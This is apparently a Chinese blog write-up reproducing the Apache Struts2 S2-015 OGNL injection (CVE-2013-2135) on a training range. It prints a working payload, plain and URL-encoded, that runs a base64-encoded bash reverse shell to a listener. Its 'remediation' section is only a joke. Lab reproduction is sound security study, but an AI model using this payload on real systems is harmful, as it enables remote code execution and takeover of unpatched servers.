[漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)

一、漏洞情况分析

2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过一个包含"${}"和"%{}"序列的特制值的请求执行任意 OGNL 代码,这会导致 OGNL 代码被评估两次。

二、漏洞复现

春秋云境.com

进入靶场

开始复现

构造好payload,弹nc

html 复制代码
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action

就构造好的payload,url编码

html 复制代码
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27).getInputStream())%2C%23q%7D.action

接入我们的ip后面,同时本地打开nc监听

三、漏洞处置建议

把靶场关了,跟漏洞说"白白吧

相关推荐
知其然亦知其所以然几秒前
RAG 结果太水?用 RRF + Reranker 重排,效果翻倍提升!
java·后端·llm
SimonKing2 分钟前
吊打面试官系列:Spring为什么不推荐使用字段依赖注入?
java·后端·架构
lubiii_7 分钟前
SQL手工测试(MySQL数据库)
数据库·mysql·web安全·网络安全
魔镜魔镜_谁是世界上最漂亮的小仙女9 分钟前
java-集合
java·后端·程序员
真实的菜10 分钟前
消息队列高级特性与原理:解锁分布式系统的底层逻辑
java
若水不如远方12 分钟前
java范型
java
凌辰揽月14 分钟前
Web后端基础(基础知识)
java·开发语言·前端·数据库·学习·算法
lifallen20 分钟前
深入浅出 Arrays.sort(DualPivotQuicksort):如何结合快排、归并、堆排序和插入排序
java·开发语言·数据结构·算法·排序算法
长安不见22 分钟前
背景知识: 理解LimitLatch背后的AQS
java
小吕学编程25 分钟前
策略模式实战:Spring中动态选择商品处理策略的实现
java·开发语言·设计模式